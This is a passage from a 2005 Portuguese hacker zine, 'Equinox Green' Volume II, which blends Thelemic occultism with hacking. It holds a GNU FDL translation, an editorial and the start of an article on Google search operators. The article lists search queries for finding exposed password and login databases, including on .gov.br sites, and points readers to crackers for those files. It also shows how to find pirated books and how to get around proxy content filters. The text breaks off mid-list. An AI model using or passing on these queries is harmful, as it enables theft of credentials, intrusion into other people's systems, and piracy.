89
E Q U I N O X G R E E N Volume II 1

Equinox Green 2

Embed Size (px)

Citation preview

Page 1: Equinox Green 2

E Q U I N O X G R E E N

Volume II

1

Page 2: Equinox Green 2

Esta publicação está sobre a FDL (Free Documentation License) podendo ser copiada, distribuída, desde que obedeça a licença abaixo apresentada.

Esta é uma tradução não oficial da Licença de Documentação Livre GNU em Português Brasileiro. Ela não é publicada pela Free SoftwareFoundation, e não se aplica legalmente a distribuição de textos que usem a GFDL - apenas o texto original em Inglês da GNU FDL faz isso.Entretanto, nós esperamos que esta tradução ajude falantes de português a entenderem melhor a GFDL.

Licença de Documentação Livre GNU

Versão 1.1, Março de 2000

Copyright (C) 2000 Free Software Foundation, Inc.59 Temple Place, Suite 330, Boston, MA 02111-1307 USAÉ permitido a qualquer um copiar e distribuir cópias exatasdeste documento de licença, mas não é permitido alterá-lo.

0. INTRODUÇÃO

O propósito desta Licença é deixar um manual, livro-texto ou outro documento escrito ``livre'' no sentido de liberdade: assegurar a qualquer um aefetiva liberdade de copiar ou redistribuí-lo, com ou sem modificações, comercialmente ou não. Secundariamente, esta Licença mantém para o autore editor uma forma de ter crédito por seu trabalho, sem ser considerado responsável pelas modificações feitas por terceiros.

Esta licença é um tipo de ``copyleft'' (``direitos revertidos''), o que significa que derivações do documento precisam ser livres no mesmo sentido. Elacomplementa a GNU Licença Pública Geral (GNU GPL), que é um copyleft para software livre.

Nós fizemos esta Licença para que seja usada em manuais de software livre, porque software livre precisa de documentação livre: um programa livredeve ser acompanhado de manuais que forneçam as mesmas liberdades que o software possui. Mas esta Licença não está restrita a manuais desoftware; ela pode ser usada para qualquer trabalho em texto, independentemente do assunto ou se ele é publicado como um livro impresso. Nósrecomendamos esta Licença principalmente para trabalhos cujo propósito seja de intrução ou referência.

1. APLICABILIDADE E DEFINIÇÕES

Esta Licença se aplica a qualquer manual ou outro texto que contenha uma nota colocada pelo detentor dos direitos autorias dizendo que ele pode serdistribuído sob os termos desta Licença. O ``Documento'', abaixo, se refere a qualquer tal manual ou texto. Qualquer pessoa do público é umlicensiado e é referida como ``você''.

Uma ``Versão Modificada'' do Documento se refere a qualquer trabalho contendo o documento ou uma parte dele, quer copiada exatamente, quercom modificações e/ou traduzida em outra lingua.

Uma ``Seção Secundária'' é um apêndice ou uma seção inicial do Documento que trata exclusivamente da relação dos editores ou dos autores doDocumento com o assunto geral do Documento (ou assuntos relacionados) e não contém nada que poderia ser incluido diretamente nesse assuntogeral. (Por exemplo, se o Documento é em parte um livro texto de matemática, a Seção Secundária pode não explicar nada de matemática). Essarelação poderia ser uma questão de ligação histórica com o assunto, ou matérias relacionadas, ou de posições legais, comerciais, filosóficas, éticas oupolíticas relacionadas ao mesmo.

As ``Seções Invariantes'' são certas Seções Secundárias cujos títulos são designados, como sendo de Seções Invariantes, na nota que diz que oDocumento é publicado sob esta Licença.

Os ``Textos de Capa'' são certos trechos curtos de texto que são listados, como Textos de Capa Frontal ou Textos da Quarta Capa, na nota que dizque o texto é publicado sob esta Licença.

Uma cópia ``Transparente'' do Documento significa uma cópia que pode ser lida automaticamente, representada num formato cuja especificaçãoesteja disponível ao público geral, cujos conteúdos possam ser vistos e editados diretamente e sem mecanismos especiais com editores de textogenéricos ou (para imagens compostas de pixels) programas de pintura genéricos ou (para desenhos) por algum editor de desenhos grandementedifundido, e que seja passível de servir como entrada a formatadores de texto ou para tradução automática para uma variedade de formatos quesirvam de entrada para formartadores de texto. Uma cópia feita em um formato de arquivo outrossim Transparente cuja constituição tenha sidoprojetada para atrapalhar ou desencorajar modificações subsequentes pelos leitores não é Transparente. Uma cópia que não é ``Transparente'' échamada de ``Opaca''.

Exemplos de formatos que podem ser usados para cópias Transparentes incluem ASCII simples sem marcações, formato de entrada do Texinfo,formato de entrada do LaTeX, SGML ou XML usando uma DTD disponibilizada publicamente, e HTML simples, compatível com os padrões, eprojetado para ser modificado por pessoas. Formatos opacos incluem PostScript, PDF, formatos proprietários que podem ser lidos e editados apenascom processadores de texto proprietários, SGML ou XML para os quais a DTD e/ou ferramentas de processamento e edição não estejam disponíveispara o público, e HTML gerado automaticamente por alguns editores de texto com finalidade apenas de saída.

A ``Página do Título'' significa, para um livro impresso, a página do título propriamente dita, mais quaisquer páginas subseqüentes quantas foremnecessárias para conter, de forma legível, o material que esta Licença requer que apareça na página do título. Para trabalhos que não tenham uma talpágina do título, ``Página do Título'' significa o texto próximo da aparição mais proeminente do título do trabalho, precedendo o início do corpo dotexto.

2. FAZENDO CÓPIAS EXATAS

Você pode copiar e distribuir o Documento em qualquer meio, de forma comercial ou não comercial, desde que esta Licença, as notas de copyright, ea nota de licença dizendo que esta Licença se aplica ao documento estejam reproduzidas em todas as cópias, e que você não acrescente nenhumaoutra condição quaisquer que sejam às desta Licença.

Você não pode usar medidas técnicas para obstruir ou controlar a leitura ou confecção de cópias subsequentes das cópias que você fizer ou distribuir.

2

Page 3: Equinox Green 2

Entretanto, você pode aceitar compensação em troca de cópias. Se você distribuir uma quantidade grande o suficiente de cópias, você tambémprecisa respeitar as condições da seção 3. Você também pode emprestar cópias, sob as mesmas condições colocadas acima, e você também podeexibir coópias publicamente.

3. FAZENDO CÓPIAS EM QUANTIDADE

Se você públicar cópias do Documento em número maior que 100, e a nota de licença do Documento obrigar Textos de Capa, você precisa incluir ascópias em capas que tragam, clara e legivelmente, todos esses Textos de Capa: Textos de Capa da Frente na capa da frente, e Textos da Quarta Capana capa de trás. Ambas as capas também precisam identificar clara e legivelmente você como o editor dessas cópias. A capa da frente precisaapresentar o título completo com todas as palavras do título igualmente proeminentes e visíveis. Você pode adicionar outros materiais às capas. Fazercópias com modificações limitadas às capas, tanto quanto estas preservem o título do documento e satisfaçam essas condições, pode tratado comocópia exata em outros aspectos.

Se os textos requeridos em qualquer das capas for muito volumoso para caber de forma legível, você deve colocar os primeiros (tantos quantoscouberem de forma razoável) na capa verdadeira, e continuar os outros nas páginas adjacentes.

Se você publicar ou distribuir cópias Opacas do Documento em número maior que 100, você precisa ou incluir uma cópia Transparente que possaser lida automaticamente com cada cópia Opaca, ou informar em ou com cada cópia Opaca a localização de uma cópia Transparente completa doDocumento acessível publicamente em uma rede de computadores, à qual o público usuário de redes tenha acesso a download gratuito e anônimoutilizando padrões públicos de protocolos de rede. Se você utilizar o segundo método, você precisa tomar cuidados razoavelmente prudentes, quandoiniciar a distribuição de cópias Opacas em quantidade, para assegurar que esta cópia Transparente vai permanecer acessível desta forma nalocalização especificada por pelo menos um ano depois da última vez em que você distribuir uma cópia Opaca (diretamente ou através de seusagentes ou distribuidores) daquela edição para o público.

É pedido, mas não é obrigatório, que você contate os autores do Documento bem antes de redistribuir qualquer grande número de cópias, para lhesdar uma oportunidade de prover você com uma versão atualizada do Documento.

4. MODIFICAÇÕES

Você pode copiar e distribuir uma Versão Modificada do Documento sob as condições das seções 2 e 3 acima, desde que você publique a VersãoModificada estritamente sob esta Licença, com a Versão Modificada tomando o papel do Documento, de forma a licenciar a distribuição emodificação da Versão Modificada para quem quer que possua uma cópia da mesma. Além disso, você precisa fazer o seguinte na versãomodificada:

* A. Usar na Página de Título (e nas capas, se alguma) um título distinto daquele do Documento, e daqueles de versões anteriores (que deveriam,se houvesse algum, estarem listados na seção Histórico do Documento). Você pode usar o mesmo título de uma versão anterior se o editor originaldaquela versão lhe der permissão. * B. Listar na Página de Título, como autores, uma ou mais das pessoas ou entidades responsáveis pela autoria das modificações na VersãoModificada, conjuntamente com pelo menos cinco dos autores principais do Documento (todos os seus autores principais, se ele tiver menos quecinco). * C. Colocar na Página de Título o nome do editor da Versão Modificada, como o editor. * D. Preservar todas as notas de copyright do Documento. * E. Adicionar uma nota de copyright apropriada para suas próprias modificações adjacente às outras notas de copyright. * F. Incluir, imediatamente depois das notas de copyright, uma nota de licença dando ao público o direito de usar a Versão Modificada sob ostermos desta Licença, na forma mostrada no Adendo abaixo. * G. Preservar nessa nota de licença as listas completas das Seções Invariantes e os Textos de Capa requeridos dados na nota de licença doDocumento. * H. Incluir uma cópia inalterada desta Licença. * I. Preservar a seção entitulada ``Histórico'', e seu título, e adicionar à mesma um item dizendo pelo menos o título, ano, novos autores e editor daVersão Modificada como dados na Página de Título. Se não houver uma sessão denominada ``Histórico''; no Documento, criar uma dizendo o título,ano, autores, e editor do Documento como dados em sua Página de Título, então adicionar um item descrevendo a Versão Modificada, tal comodescrito na sentença anterior. * J. Preservar o endereço de rede, se algum, dado no Documento para acesso público a uma cópia Transparente do Documento, e da mesma forma,as localizações de rede dadas no Documento para as versões anteriores em que ele foi baseado. Elas podem ser colocadas na seção ``Histórico''. Vocêpode omitir uma localização na rede para um trabalho que tenha sido publicado pelo menos quatro anos antes do Documento, ou se o editor originalda versão a que ela ser refira der sua permissão. * K. Em qualquer seção entitulada ``Agradecimentos''; ou ``Dedicatórias'';, preservar o título da seçãom e preservar a seção em toda substância etim de cada um dos agradecimentos de contribuidores e/ou dedicatórias dados. * L. Preservar todas as Seções Invariantes do Documento, inalteradas em seus textos ou em seus títulos. Números de seção ou equivalentes não sãoconsiderados parte dos títulos da seção. * M. Apagar qualquer seção entitulada ``Endossos'';. Tal sessão não pode ser incluída na Versão Modificada. * N. Não re-entitular qualquer seção existente com o título ``Endossos''; ou com qualquer outro título dado a uma Seção Invariante.

Se a Versão Modificada incluir novas seções iniciais ou apêndices que se qualifiquem como Seções Secundárias e não contenham nenhum materialcopiado do Documento, você pode optar por designar alguma ou todas aquelas seções como invariantes. Para fazer isso, adicione seus títulos à listade Seções Invariantes na nota de licença da Versão Modificada. Esses títulos precisam ser diferentes de qualquer outro título de seção.

Você pode adicionar uma seção entitulada ``Endossos'';, desde que ela não contenha qualquer coisa além de endossos da sua Versão Modificada porvárias pessoas ou entidades - por exemplo, declarações de revisores ou de que o texto foi aprovado por uma organização como a definição oficial deum padrão.

Você pode adicionar uma passagem de até cinco palavras como um Texto de Capa da Frente , e uma passagem de até 25 palavras como um Texto deQuarta Capa, ao final da lista de Textos de Capa na Versão Modificada. Somente uma passagem de Texto da Capa da Frente e uma de Texto daQuarta Capa podem ser adicionados por (ou por acordos feitos por) qualquer entidade. Se o Documento já incluir um texto de capa para a mesmacapa, adicionado previamente por você ou por acordo feito com alguma entidade para a qual você esteja agindo, você não pode adicionar um outro;mas você pode trocar o antigo, com permissão explícita do editor anterior que adicionou a passagem antiga.

3

Page 4: Equinox Green 2

O(s) autor(es) e editor(es) do Documento não dão permissão por esta Licença para que seus nomes sejam usados para publicidade ou para assegurarou implicar endossamento de qualquer Versão Modificada.

5. COMBINANDO DOCUMENTOS

Você pode combinar o Documento com outros documentos publicados sob esta Licença, sob os termos definidos na seção 4 acima para versõesmodificadas, desde que você inclua na combinação todas as Seções Invariantes de todos os documentos originais, sem modificações, e liste todaselas como Seções Invariantes de seu trabalho combinado em sua nota de licença.

O trabalho combinado precisa conter apenas uma cópia desta Licença, e Seções Invariantes Idênticas com múltiplas ocorrências podem sersubstituídas por apenas uma cópia.Se houver múltiplas Seções Invariantes com o mesmo nome mas com conteúdos distintos, faça o título de cadaseção único adicionando ao final do mesmo, em parênteses, o nome do autor ou editor origianl daquela seção, se for conhecido, ou um número queseja único. Faça o mesmo ajuste nos títulos de seção na lista de Seções Invariantes nota de licença do trabalho combinado.

Na combinação, você precisa combinar quaisquer seções intituladas ``Histórico''; dos diversos documentos originais, formando uma seção entitulada``Histórico''; da mesma forma combine quaisquer seções entituladas ``Agradecimentos'', ou ``Dedicatórias''. Você precisa apagar todas as seçõesintituladas como ``Endosso''.

6. COLETÂNEAS DE DOCUMENTOS

Você pode fazer uma coletânea consitindo do Documento e outros documentos publicados sob esta Licença, e substituir as cópias individuais destaLicença nos vários documentos com uma única cópia incluída na coletânea, desde que você siga as regras desta Licença para cópia exata de cada umdos Documentos em todos os outros aspectos.

Você pode extrair um único documento de tal coletânea, e distribuí-lo individualmente sob esta Licença, desde que você insira uma cópia destaLicença no documento extraído, e siga esta Licença em todos os outros aspectos relacionados à cópia exata daquele documento.

7. AGREGAÇÃO COM TRABALHOS INDEPENDENTES

Uma compilação do Documento ou derivados dele com outros trabalhos ou documentos separados e independentes, em um volume ou mídia dedistribuição, não conta como uma Versão Modificada do Documento, desde que não seja reclamado nenhum copyright de compilação sejareclamado pela compilação. Tal compilação é chamada um ``agregado'', e esta Licença não se aplica aos outros trabalhos auto-contidos compiladosjunto com o Documento, só por conta de terem sido assim compilados, e eles não são trabalhos derivados do Documento.

Se o requerido para o Texto de Capa na seção 3 for aplicável a essas cópias do Documento, então, se o Documento constituir menos de um quarto detodo o agregado, os Textos de Capa do Documento podem ser colocados em capas adjacentes ao Documento dentro do agregado. Senão elesprecisam aparecer nas capas de todo o agregado.

8. TRADUÇÃO

A tradução é considerada como um tipo de modificação, então você pode distribuir traduções do Documento sob os termos da seção 4. Asubstituição de Seções Invariantes por traduções requer uma permissão especial dos detentores do copyright das mesmas, mas você pode incluirtraduções de algumas ou de todas as Seções Invariantes em adição as versões orginais dessas Seções Invariantes. Você pode incluir uma traduçãodesta Licença desde que você também inclua a versão original em Inglês desta Licença. No caso de discordância entre a tradução e a versão originalem Inglês desta Licença, a versão original em Inglês prevalecerá.

9. TÉRMINO

Você não pode copiar, modificar, sublicenciar, ou distribuir o Documento exceto como expressamente especificado sob esta Licença. Qualquer outratentativa de copiar, modificar, sublicenciar, ou distribuir o Documento é nula, e resultará automaticamente no término de seus direitos sob estaLicença. Entretanto, terceiros que tenham recebido cópias, ou direitos, de você sob esta Licença não terão suas licenças terminadas tanto quantoesses terceiros permaneçam em total acordo com esta Licença.

10. REVISÕES FUTURAS DESTA LICENÇA

A Free Software Foundation pode publicar novas versões revisadas da Licença de Documentação Livre GNU de tempos em tempos. Tais novasversões serão similares em espírito à versão presente, mas podem diferir em detalhes ao abordarem novos porblemas e preocupações. Vejahttp://www.gnu.org/copyleft/.

A cada versão da Licença é dado um número de versão distinto. Se o Documento especificar que uma versão particular desta Licença ``ou qualquerversão posterior'' se aplica ao mesmo, você tem a opção de seguir os termos e condições daquela versão específica, ou de qualquer versão posteriorque tenha sido publicada (não como rascunho) pela Free Software Foundation. Se o Documento não especificar um número de Versão desta Licença,você pode escolher qualquer versão já publicada (não como rascunho) pela Free Software Foundation.ADENDO: Como usar esta Licença para seus documentos

Para usar esta Licença num documento que você escreveu, inclua uma cópia desta Licença no documento e ponha as seguintes notas de copyright elicenças logo apos a página de título:

Copyright (c) ANO SEU NOME. É dada permissão para copiar, distribuir e/ou modificar este documento sob os termos da Licença de Documentação Livre GNU, Versão 1.1 ou qualquer versão posterior publicada pela Free Software Foundation; com as Seções Invariantes sendo LISTE SEUS TÍTULOS, com os Textos da Capa da Frente sendo LISTE, e com os Textos da Quarta-Capa sendo LISTE. Uma cópia da licença em está inclusa na seção entitulada

4

Page 5: Equinox Green 2

``Licença de Documentação Livre GNU''.

Se você não tiver nenhuma Seção Invariante, escreva ``sem Seções Invariantes'' ao invés de dizer quais são invariantes. Se você não tiver Textos deCapa da Frente, escreva ``sem Textos de Capa da Frente'' ao invés de ``com os Textos da Capa da Frente sendo LISTE''; o mesmo para os Textos daQuarta Capa.

Se o seu documento contiver exemplos não triviais de código de programas, nós recomendamos a publicação desses exemplos em paralelo sob a suaescolha de licença de software livre, tal como a GNU General Public License, para permitir o seu uso em software livre.

5

Page 6: Equinox Green 2

O Editor gostaria muitode futuras contribuiçõesde todos os fratri, naforma de artigos, tutoriaisprogramas & textos.Os textos aceitos serãodevidamente notificadosa seus autores.Artigos devem ser enviadospara:[email protected]

6

Page 7: Equinox Green 2

E Q U I N O X G R E E NO O R G Ã O O F I C I A L D O M O V I M E N T O H A C K E R T H E L E M I C O

A R E V I S Ã O D O I L U M I N I S M O C I E N T Í F I C O

AN. CI ERA DE AQUARIUS-LEO VOL. I N.II ⊙ em

ABRIL DE MMV

FRATER Q.V.I.F. 196

“O MÉTODO DA CIÊNCIA – O OBJETIVO DA RELIGIÃO”

7

Page 8: Equinox Green 2

BRASIL

C O N T E Ú D O

páginaEditorial 9

LIBER 003 – Por Frater Albertus Rabelais 10

Messias – Por Leandro A. Thomas 28

Hacking 93 ! – Por Frater Arjuna 33

Introdução aos Sistemas Operacionais - Por Vo 35

SCMORPHISM - Por Rodrigo Rubira Branco 63

Livro da Lei – Por Mestre Therion 70

8

Page 9: Equinox Green 2

E D I T O R I A L

“Faze o que tu queres, há de tudo ser da lei”

Depois do Equinox Green I, tivemos uma ampla e completa recepctividade da comunidade emgeral. Receptividade esta que nos animou a continuar o nosso trabalho de divulgaçao e que agora sefaz presente neste novo volume de nossa publicação.

Passamos por um processo de desconstrução, seja de conceitos e de forma de pensar, já que muitaspessoas já estão vendo que o hacking, não é como estamos vendo de maneira errônea pela imprensae sim uma profunda mudança no pensar e na forma de agir.

Não é uma mera ostentação ou alimentação do ego, mas uma iluminação que se faz podendo assimenxergar a capacidade de realização de nós mesmos em conseguir alcançar objetivos muito maioresque estes.

Fico vendo as pessoas começando a discutir diversos aspectos alé do computador, aspectos de suasvidas que poderiam ser melhoradas, “pensando” na forma do hacking. Quando eu digo pensar, étentar adotar uma maneira diferente de ver as coisas, não só d eum único angulo, mas de umaperspectiva totalmente nova. A verdade que hoje temos pode ser uma mentira amanhã, mas sempreficará a sabedoria acumulada com nossos atos.

Vejamos então esta nova e modesta obra, com a colaboração de diversas pessoas, que nos ajudam apassar o conhecimento de seus trabalhos. A eles meu profundo e sincero agradecimento, por doarestas gotas de sabedoria para nossas mentes vorazes. A obra em si ainda é imperfeita, pois nossanatureza é imperfeite, apesar de nossa parcela divina.

Os erros que existam, será “mea culpa”. Peço a todos desculpas, pois o trabalho é realizado com amais profunda boa vontade e sacrifício. Agradeceria muito que enviassem suas críticas ecomentários para nossa publicação e que não se inibam em mandar seus trabalhos para quepossamos publicá-los.

O convite fica aberto a todos que quiserem ajudar em nossa caminhada. Espero que todos tenhamuma ótima leitura e que estas poucas páginas possam trazer um pouco mais de luz do saber as trevasda ignorância que insistem em nos rodear.

93,93/93 !

Frater Albertus [email protected]

9

Page 10: Equinox Green 2

Liber 003

Por Frater Albertus [email protected]

10

Page 11: Equinox Green 2

Preambulum...

“Todo e qualquer homem pode igualar-se aos sábios e aos heróis cuja memória todos reverenciam.

Não é o poder que falta, é a vontade”

Mo-Tse

Descobrir a nossa verdadeira vontade é a pergunta da qual eu tenho me feito há algum tempo.Muitas pessoas confundem o desejo com a vontade e acabam descobrindo que muitas das suascrenças foram formas de expressão de desejos. Descobrir ou constatar esta afirmarção é um dosgrandes desafios do estudante no que diz respeito a conhecer a sí próprio e as suas limitaçõesiniciais.

Um dos maiores inimigos da verdadeira vontade é o ego. Como Maia, nos enche das piores ilusõespossíveis e nos transforma em escravos dos desejos, obstruíndo assim a nossa caminhada rumo aoconhecimento. Muitos já caíram nas armadilhas do ego, alimentados por diversos indivíduos queprojetavam suas necessidades nestes irmãos. O ego é capaz de levar um indivíduo ao ápice dailusão, tirando em muitos casos do caminho.

Quantas vezes nosso ego foi alimentado com elogios e acabou levando-nos a cometer atosinsensatos e desmedidos ? Quantas vezes o desejo instigou o ego e a vítima fomos nós mesmos ?Pense nisto e reflita sobre estas palavras.

Contudo não precisamos eliminar o ego, e sim subjugá-lo, ou melhor desprender-se de muitascoisas, afim de podermos encontrar sob estas camadas a nossa verdadeira vontade. É difícilconseguir isto, pois estamos sendo diariamente bombardeados por uma série de tentativas deinsuflar cada vez mais o nosso ego.

Olho a minha volta e vejo tantos que são escravos dos desejos, são limitados por algemas dasociedade, não olhando que dentro de si existem muito mais coisas a serem descobertas. Thelemavem do grego e significa “vontade”. Esta “vontade” é o principal objetivo que tentamos alcançar. No hacking a vontade é sem sombra de

11

Page 12: Equinox Green 2

dúvida a necessidade de aprender, conseguir alcançar o conhecimento. Mas muitos entram nohacking movidos pelo desejo, alimentados por seus egos e acabam esquecendo a essência de tudo.Utilizam do conhecimento de terceiros para alimentarem suas ilusões. Estes contudo, acabamdepois de um tempo se desligando e esquecem que um dia a chama foi despertada dentro de si.

Onde estão estes hackers ? Eles estão ainda atuando ? Claro que não, pois movidos pelo desejoninguém consegue chegar a grande obra mística. Mas a pergunta ainda fica no ar : como descobrir asua verdadeira vontade ?Olhe para dentro de si e veja que coisas estão te movimentando hoje, quais são as suas expectativascom que está começando os seus estudos. O que te levou a ler meus libri ? Foi o desejo de hackearpáginas ? Invadir servidores ? Isto está movendo a sua iniciativa ?

Se você está pensando assim, pobre tolo... Vais ser escravo de seus desejos e no fim abandonará ocaminho se tornando mais um como tantos outros que se entregaram, esquecendo que um diadespertaram a vontade de alimentar sua fome de conhecimento.

O Ternário do Hacking

Poderíamos definir que o hacking é um ternário, apresentado abaixo de acordo com o ternárioabaixo :

homem – código – sistemaOnde :

Homem – elemento positivoCódigo – elemento negativoSistema – elemento neutro

A lei geral é a lei do Três, cujo os princípios são o ativo (positivo), passivo (negativo) e neutro. Deacordo com Papus duas coisas (fatos) análogas a uma mesma terceira (lei) são análogas entre si epode-se determinar a relação existente entre o fato e qualquer outro dos fenômenos. Este métodoanalisa e esclarece as histórias simbólicas.

Montando o quadro analógico de acordo com Papus, poderíamos ter o seguinte

1a. ColunaSuplementar

+Coluna Positiva

-Coluna Negativa

∞Coluna Neutra 2a. Coluna

Suplementar

Vulnerabilidade Homem Código Sistema O ExploitOs Elementos Fogo Água Ar Terra (Matéria)

Os Três Astros Sol Lua Mercúrio MoralA Família Pai Mãe Filho O Mundo

O homem (hacker) mais o código (conhecimento de programação) podem dar origem ao sistema(programa, vulnerabilidade, etc). Este ternário nos faz procurar dentro deste sistema o entendimentode nossa vontade, ou seja de criar a criança andrógina dos alquimistas, simbolizada pelo mercúrio eno hacking simbolizada pelo sistema.

Nossa obra começará aqui mostrando nossa primeira lição de nossa caminhada.

12

Page 13: Equinox Green 2

Seção 001h

Prima Materia

“O Iniciado pode dirigir-se a todos expressando suas idéias por meio de histórias simbólicascorrespondentes aos fatos e ao sentido positivo.

Muitos compreendem ainda, se não o sentido, ao menos as palavras que compõem os quadrosanalógicos correspondentes

as leis e ao sentido comparativo.A compreensão total da derradeira língua que o iniciado emprega

é reservada somente aos adeptos.Munidos dos elementos que possuímos, podemos entretanto abordar a explicação parcial deste

método sintético, a derradeira e a mais elevada das ciências ocultas.”

Papus – Tratado de Ciências Ocultas

Uma das principais formas de investigação em busca de servidores e serviços vulneráveis na web, éa utilização de scanners, ferramentas cuja a função principal é verificar se portas de serviço estãoabertas, ou a versão dos sofwtares servidores estão sendo executadas. Esta prática é realizada porferramentas como o nmap (http://www.insecure.org/nmap) ou o Nessus (http://www.nessus.org),softwares mais que conhecidos e que possuem ampla literatura em português para o estudante. Sem sombra de dúvida que estes programas fazem parte do arsenal do especialista, que tem comoobjetivo sempre estar com a possibilidade de examinar os sistemas alvo. Contudo em muitos casos a procura pode se tornar complicada, já que muitos não podem ter ummicro a mão (um notebook) ou então estar em uma situação da qual seu sistema não possa seracessado. Neste momento o que o estudante pode fazer ?

13

Page 14: Equinox Green 2

A resposta está sempre a nossa frente, ou melhor disponível para que possamos mesmo de umcybercafé, descobrirmos se um sistema pode ser invadido ou mesmo possível de ser testado paraque possamos descobrir uma vulnerabilidade.

Nos dias de hoje as empresas disponibilizam cada vez mais e mais sistemas na web, cominformações preciosas como: senhas, documentos, planilhas, banco de dados,etc. O estudantepoderá se perguntar como acessar estes tesouros sem uma chave específica, ou melhor umaferramenta que permita levantar estas informações.

A própria web nos fornece estas ferramentas, ou melhor utilizando a nossa capacidade, com umpouco de criatividade e espiríto de exploração é possível levantar muitas das preciosidades acimacitadas, utilizando apenas uma ferramenta que para muitos mal explorada : o Google.

O Egrégora Digital Google

O Google é um mecanismo de procura composto por uma série de scripts capazes de realizar buscasna web por diversas informações. A contrário do que se pensa o Google não é a solução para todosos problemas, mas pode nos fornecer muitas respostas as nossas perguntas. O Google possui umasérie de restrições que gostaríamos de apresentar antes de você estudante, pensar que o mesmo é asolução para os seus problemas.

– O Google indexa um retrato de tudo que possa estar online, de uma forma bruta, e que precisaser garimpada. Ou seja as informações em muitos casos são apresentadas de forma “bruta”. Esteretrato é estático e pode mudar a qualquer momento;

– As informações para o Google, até que prove-se o contrário, são verdadeiras, ou seja o sistemapode ser iludido por falsos indexes, ou informações colocadas de maneira confusas, afim deiludir os mecanismos de procura;

– O Google ainda pode filtrar conteúdo ofensivo/restrito, contudo podemos levantar este conteúdoem busca de informações restritas.

O mecanismo do Google permite procuras como :

– Ítens de página : títulos, parágrafos especiais, palavras, etc.– Tipos de página : dos tipos edu, gov, org, etc.– Tipos de arquivos : pdf, txt, doc, xls, mdb, tudo que você possa imaginar– Tipos especiais de informação : por tópicos, datas de criação, etc.

Estas informações são pesquisadas através das páginas de procura do Google divida em

– Web – A procura é feita procura por URL's;– Imagens – A procura é feita por figuras, fotos e desenhos;– Grupos – O conteúdo da Internet organizado por grupos de discussão e interesses– Diretórios - O conteúdo da Internet organizado por assunto em categorias.

No Google americano ainda é possível procurar por telefones e endereços.

Para entrar no Google entre no seu navegador e digite http://www.google.com.brA página do Google surgirá ;

14

Page 15: Equinox Green 2

Para executarmos uma procura basta digitarmos na entrada do formulário a procura. Por exemplodigite Liber 000, e pressione o botão Pesquisa Google, o mecanismo irá efetuar uma procura eexibirá a resposta sob forma de links conforme abaixo :

O resultado vem sobre a forma de links, onde é só clicar e chegar ao destino. Muitos perguntamsobre o botão “Estou com Sorte”, que na realidade manda o resultado da procura diretamente para osite onde existe a maior incidência sobre o assunto, em muitos casos o primeiro da lista de respostasdo Google. Em muitos casos é uma maneira rápida de chegar a um resultado. Vale lembrar queestamos ainda iniciando a nossa grande obra, onde começamos o processo de transformaçãoalquímica de nosso “lapis philosophorum”.

15

Page 16: Equinox Green 2

Dica Profana

As vezes proxies de redes bloqueiam conteúdos de sites (hacking, sexo,etc.). Que tal utilizar o Google para bypassar isto. Entre no google e digitehacking por exemplo e quando exibir os resultados clique em cima daopção “Traduzir Esta Página”. O Google exibe o conteúdo da página,bypassando o filtro do proxy. Alguns irmãos profanos utilizam esta técnicapara ver páginas estrangeiras pornográficas. Eu reprovo isto.

O Google ainda possui o recursa da chamada procura avançada, onde várias pesquisas sob a formabooleana podem ser feitas. Por exemplo abaixo, quero imagens de demônios medievais do tipo jpeg,em preto e branco. Clique em busca avançada de imagens e digite o seguinte :

Aqui é que começamos a explorar o Google em seu potencial. Mande executar a pesquisa e veja oque apareceu no campo de procura após o resultado : medieval demons filetype:jpg

Esta sintaxe é uma das grandes chaves de entendimento para utilizarmos o mecanismo de procurapara as nossas pesquisas a sites e servidores vulneráveis. Nosso próximo discursos versará sobre oassunto.

16

Page 17: Equinox Green 2

Seção 002h

A Operação Magicka...

A natureza da operação magicka, está na essência da realização da obra. Quando o estudanteconsegue realizar em toda a sua extensão a grande obra, temos o sucesso e a satisfação. Iremosagora começar a utilizar os recursos que o Google nos fornece para realizarmos uma série deoperações de consulta e localização de informações. Iremos mostrar várias operações mágicas como egregóra do Google.

Primeira Operação – Obtendo Livros

Inicialmente vamos começar ajudando ao estudante conseguir livros na web em diversos formatos.No Liber 000 eu sugeri o livro profano do Internetworking With TCP/IP de Richard Stevens.

Que tal obter este livro ? Podemos conseguir isto utilizando a cláusula filetype:, onde podemosselecionar numa pesquisa o tipo de arquivo. Exemplo :

richard stevens filetype:chm

Onde eu estou procurando por qualquer referência a Richard Stevens que é o autor, com arquivoschm, que são do tipo help do Windows e são muito utlizados para troca de livros. Poderíamos

17

Page 18: Equinox Green 2

procurar assim também :

richard stevens filetype:pdfrichard stevens filetype:docrichard stevens filetype:txt

E que tal obter livros da O'reilly ? Digite :

oreilly filetype:chm

E veja a surpresa que aparecerá...

Segunda Operação – Obtendo Arquivos de Senhas

Ainda podemos descobrir alguns arquivos de senhas utilizados em alguns serviços web. Vamosobservar as seguintes sintaxes abaixo :

logins filetype:mdbpasswords filetype:mdbsenhas filetype:mdbusers filetype:mdbusuarios filetype:mdbmembers filetype:mdb

Muitos sites ainda utilizam o access da Microsoft, e é possível conseguir arquivos de senhas devários sites. Alguns destes arquivos podem estar com senha, mas existem dezenas de quebradoresde senha de access na web. Vejamos outras possibilidades por exemplo :

logins filetype:txtpasswords filetype:txt

Existem diversas possibilidades, basta o estudante pesquisar a respeito e ser criativo em suasprocuras.

18

Page 19: Equinox Green 2

Firma! Firma! Agüenta em tua raptura; não caias em desmaio dos beijos excelentes!Endurece! conserva-te a prumo! Levanta tua cabeça! não respires tão fundo - morre!

Ah! Ah! Que sinto Eu? Está a palavra exausta?

Existe auxílio & esperança em outros encantamentos. Sabedoria diz: sê forte! Então tu podessuportar mais alegria. Não sejas animal; refina tua raptura! Se tu bebes, bebe pelas oito e noventaregras de arte: se tu amas, excede em delicadeza; e se tu fazes o que quer que seja de alegre, quehaja sutileza ali contida!

Mas excede! excede!

Liber Al vel Legis, Cap.II, 67 - 71

" Faze o que tu queres, há de ser tudo da Lei."

Terceira Operação – Aprimorando a Pesquisa

Nesta operação utilizaremos a cláusla site: que permite uma procura em sites específicos. Porexemplo senhas site:.gov.br, ou seja procuraremos em sites gov.br a palavra senhas, mas o maisinteressante utilizando o exemplo anterior e a junção das operações. Exemplo :

senhas filetype:mdb site:.gov.brusers filetype:mdb site:.org.br

Esta interessante combinação permite especificar e “fechar” num ponto específico a nossa procura.O estudante poderá fazer vários tipos de combinação com a opção “site:”.

Quarta Operação – Títulos

Nesta operação veremos uma cláusula muito interessante a intitle: que permite restringir procura destrings em títulos de páginas. Vamos ver a sintaxe :

intitle:index.of administrators.pwdintitle:ADSL Configuration pageintitle:ADSL Configuration page

